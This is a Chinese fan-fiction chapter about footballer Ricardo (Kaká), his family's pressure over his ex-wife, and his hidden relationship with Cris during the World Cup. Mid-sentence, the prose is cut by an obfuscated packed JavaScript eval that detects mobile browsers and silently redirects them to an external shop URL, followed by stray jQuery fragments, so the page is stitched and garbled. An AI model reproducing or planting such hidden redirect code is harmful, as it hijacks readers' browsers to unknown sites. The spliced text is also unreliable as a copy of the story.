里卡多在酒店里醒过来的时候，已经是第二天清晨，他的社交媒体，已经被西班牙1-0战胜德国、挺近决赛的消息刷屏了。
电视里正在重播进球的普约尔被队友扛在肩膀上，在角球点附近疯狂庆祝的画面。
克里斯背对着他站在电视前面，脸色阴沉，像是想起了什么不好的回忆。
手机里各种社交软件的未读消息都累积到了上限。教练、亲朋、队友、对手、媒体、广告商、助理、牧师……好像全天下的人都在找他。
里卡多赶紧起身穿衣服，又给克里斯道歉：“你千里迢迢从欧洲飞回来，我却睡了整整一天。Ronnie，等比赛结束好吗？我会好好补偿你的。”
他原以为克里斯会撒泼打滚，要求他在岛上再待一天，万万没想到克里斯竟然异常冷静，主动将他送到了离岛码头上。
拥抱告别的时候，克里斯又捧着他的脸说道：“跟博斯科先生好好谈谈，如果是击败西班牙夺冠，你需要长期的安保团队、在马德里人脉雄厚的本地律师、值得信任的媒体记者。缺一不可，记住了吗？”
其实最好再换一个更专业的经纪人，而不是你那西班牙语都说得磕磕绊绊的老父亲。
06年世界杯，他带领葡萄牙，淘汰英格兰的时候，如果没有门德斯的帮助，可能已经被失去理智的极端球迷给烧死在曼彻斯特了吧。
克里斯深知其中的凶险，但是自从里卡多十八岁到意甲踢球以来，博斯科就辞去工作、远赴欧洲，每天开车接送儿子往返俱乐部，他们父子感情非常深厚。克里斯暂时不敢说出要他开掉老爸的话来。
里卡多回到开普敦市区，来到父母下榻的希洛酒店。
因为知道卡卡可能会在赛后过来探望父母，这里已经被媒体和身穿黄色8号球衣的巴西球迷团团围住了。
街道上已经变成了一片黄绿色的海洋。一直到他坐着私人电梯上到十八楼，还是能清晰地听见楼下山呼海啸般的呼喊他名字的声音。
顶层行政套房的露台上，西蒙妮激动地拥抱了许久未见的儿子：“Ricky，我们都为你感到骄傲。”
迪甘也过来加入了这个拥抱，大声地说着自己的计划——02年卡卡第一次随队捧起大力神杯的时候，他还是个什么也不懂的小孩子，这一次他要好好地庆祝拍照。
行政主厨端上来摆盘精美的午餐，竟然也是巴西烤肉。
里卡多昨天错过了晚餐，今天早上又忙着从五十公里以外的私人度假区赶回开普敦，只在接驳船上吃了点简餐，此时早已饿了，便自顾自地开始用餐，刚吃了一口，却见父母弟弟都诧异地看着自己。
他这才反应过来，放下刀叉，歉意地笑笑：“俱乐部里的队友各有各的信仰，我们都是不做餐前祷告的。”
博斯科似乎有些不满意他平日里的疏忽与亵渎，但是没有说什么。西蒙妮也温柔地说：“没事，我每天都有替你祷告。快吃吧孩子。”
于是里卡多终于得以快乐地品尝自己思念了整整一个赛季的烤肉。
博斯科喝了一口酒，缓缓开口道：“昨天，我以你的名义，邀请了卡洛琳一家到开普敦来看世界杯决赛，但她拒绝了我。Ricky，我想你应该亲自给她打个电话。现在你是所有巴西人眼中的盖世英雄，她会回心转意的。”
里卡多万分诧异：“爸爸，你怎么能这样做？我并没有要复合的意思，万一卡洛琳要是同意了怎么办？”
“为什么不呢？”博斯科不悦地说，“你在上帝面前对她许下过承诺，在耶稣基督眼里，你们仍然是夫妻。”
“但在米兰市政厅和巴西民政局眼里，我们已经不是了。”
里卡多放下刀叉，彻底失去了胃口：“其实我很敬佩卡洛琳，她没有躲在我的光环下面，永远做一个‘等待的妻子’，而是选择了自己走自己的路。这曾经让我很痛苦，但是最终我尊重了她的意愿。爸爸，请让这件事情到此为止，不要再打扰她的生活了，好吗？”
“那你现在有什么喜欢的女孩吗？”西蒙妮急切地问，“孩子，我也非常理解卡洛琳——你们相识得太早了，在自己最好的年华里面与丈夫聚少离多，至少要等待15年的时间才能过上正常的家庭生活，这的确太残忍了。但是现在你已经28岁了，职业生涯所剩有限，找一个可爱的女孩结婚，她只需要再等待几年就可以得到一个全心全意爱她的丈夫了，这很容易。”
西蒙妮说着伸手捏了捏儿子帅气的脸：“尤其是考虑到最终奖品是你的话，我保证会有很多女孩子愿意的。”
“但是我不愿意。妈妈，生命是上帝赐给我们最珍贵的礼物，几年也好，十几年也好，都不应该花费在等待上。我曾经很怨恨卡洛琳，恨她为什么不能像舍瓦的妻子那样，全心全意地以我为荣。直到有一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874732|212348||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
天我在俱乐部里，跟一个队友合作打进了一个球。”
他说着抿嘴一笑，好像忘记了自己在和父母争论，眉眼间尽是温柔的神色：“当时我们的状态都很差，但是非常神奇，那个球给出去我就知道一定会进。果然，几乎在离球门超过60码的地方，他背身接球，不停球，不调整，直接凌空抽射破门，简直就像是另外一个我自己踢出来的。那一刻我突然就理解卡洛琳的选择了——她也值得这样一个跟她心意相通、默契无间的人，而不是永远在等我回归家庭。”
他把队友跟自己的前妻相提并论，这有点震撼到了三人。
但是好在西蒙妮会错了意：“哦，孩子，我们当然知道你喜欢足球。但是踢球毕竟不是一项可以从事一生的职业，你总是要回归家庭的。况且你也说了，舍甫琴科也是有妻子和孩子的，虽然你们在球场上很默契，场下也非常投缘，但是这也并不影响你娶妻生子啊。”
里卡多这才发现自己忘情了，在父母面前说了多余的话，他端起红酒杯，默默在心里向舍瓦说了声抱歉。
“妈妈，你不要总是在卡卡面前说这样的话。”迪甘站出来给哥哥解围，“你听听楼下，有多少人在喊他的名字？难道你是西班牙人派来的间谍吗，怎么能在这个节骨眼上催他回归家庭呢？”
三人都撑不住笑了，博斯科说道:“不要考虑那么多，先享受比赛吧。”
虽然迪甘酷炫机智地打断了父母的喋喋不休，但是里卡多还是没能再吃下一口烤肉，他感受一种很强烈的冲动，想要站起来告诉母亲，那个人不是舍瓦，也不是什么"一个队友"，这世界上有一个人即便是在他最光鲜亮丽的时候，仍然会为他的安全忧心忡忡。
但是理智又告诉他，他不能够在这个时候掀起一场家庭风暴。像个叛逆少年一样，单纯地反抗父母是无济于事的，他和克里斯真正的问题，远不止家庭那么简单。
02年第一次随队夺冠捧起大力神杯的时候，他还很懵懂，只是沉浸在夺冠的荣耀里，一味地傻乐，也难怪卡洛琳说他的足球是一场游戏。
但是这一次，他无比清楚地意识到自己需要这座大力神杯，不是出于什么为国争光的大义名分，而是他需要在皇马站稳脚跟，他需要足球作为幌子来掩护他真正爱护的人，直到他们变得强大、富有、再也不畏惧任何世俗的风暴。
这是一场战争，而不是游戏。